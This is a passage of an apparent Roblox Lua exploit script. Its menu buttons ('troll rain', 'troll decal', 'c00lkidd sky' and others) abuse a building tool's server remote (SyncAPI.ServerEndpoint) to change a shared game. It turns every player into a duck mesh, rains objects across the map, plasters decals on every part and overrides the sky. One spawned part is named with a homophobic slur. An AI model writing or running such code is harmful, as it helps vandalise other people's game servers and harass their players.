["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part,
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = workspace.Part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Duckify(player)
for i,v in player.Character:GetDescendants() do
if v:IsA("BasePart") then
pcall(function()
SetLocked(v,false)
SetTrans(v,1)
end)
end
end
char = player.Character
--spawn(function()
spawn(function()
SetAnchor(true,char.HumanoidRootPart)
CreatePart(char.HumanoidRootPart.CFrame,char)
SetCollision(char.Part,false)
SetName(char.Part, "Duck")
end)
repeat wait() until char:FindFirstChild("Duck")
spawn(function()
SetLocked(char.Duck,false)
SetLocked(char.HumanoidRootPart,false)
Weld(char.Duck,char.HumanoidRootPart,char.Duck)
SetAnchor(false,char.Duck)
AddMesh(char.Duck)
end)
repeat wait() until char.Duck:FindFirstChild("Mesh")
MeshResize(char.Duck,Vector3.new(8,8,8))
SetMesh(char.Duck,"10749878672")
SetTexture(char.Duck,"10749878886")
SetAnchor(false,char.HumanoidRootPart)
--end)
end
for i,v in game.Players:GetPlayers() do
--spawn(function()
Duckify(v)
--end)
end
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.42, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "troll rain"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
-- DO NOT DELETE THIS LEAVE MY CREDIT
-- Rain Toad Script By ItsKittyyyGD
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function Sky(id)
local hrp = char:WaitForChild("HumanoidRootPart")
local cf = hrp.CFrame
CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)))
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
SetAnchor(true, v)
AddMesh(v)
SetMesh(v, "14832966960")
SetTexture(v, id)
MeshResize(v, Vector3.new(0, 0, 0))
end
end
end
local function createRainToads()
while true do
wait(0.01) -- Here they change the appearance time of the Toads or other meshes
if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
local hrpcf = player.Character.HumanoidRootPart.CFrame
local x = hrpcf.x
local z = hrpcf.z
local randint = math.random(-600, 600)
local randint2 = math.random(-600, 600)
local xloc = randint + x
local zloc = randint2 + z
local cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
for i, v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v, "Get trolled u fagz") -- Here the name of the toad changes
SetAnchor(false, v)
AddMesh(v)
Resize(v, Vector3.new(50, 50, 30), v.CFrame)
MeshResize(v, Vector3.new(15, 15, 15))
SetMesh(v, "9403473283") -- Here put it A custom mesh
SetTexture(v, "9403473396") -- X2
SetCollision(v, true)
v.Orientation = Vector3.new(0, 0, 0)
v.CFrame = v.CFrame + Vector3.new(0, 0, 0)
local sound = Instance.new("Sound", v)
sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear
sound.Volume = 0
sound.PlayOnRemove = true
sound:Destroy()
end
end
end)
else
wait(1)
end
end
end
coroutine.wrap(createRainToads)()
Sky("95921788891849") -- Here they change the skybox id
-- Delete this if you are going to Use it in another script
-- Obviously it has those noises because there is an official script that has it and the msg was making me lazy
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.42, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "troll sky"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(99999,99999,99999))
SetLocked(v,true)
end
end
end
Sky("132549917572326")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.42, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "troll decal"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("95921788891849")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.42, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "c00lkidd sky"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(99999,99999,99999))
SetLocked(v,true)
end
end
end
Sky("158118263")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.46, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "c00lkidd decal"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("158118263")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.46, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Sky 2"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
